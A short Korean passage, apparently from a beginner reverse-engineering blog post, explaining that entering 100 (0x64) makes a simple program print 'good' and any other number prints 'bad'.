그러면 good 이 나오게 하고 싶으면 0x64에 해당되는 정수 100을 넣으면 될 것이고,

bad가 나오게 하고 싶으면 100이 아닌 다른 수를 넣으면 될 것 같다.

728x90

+ Recent posts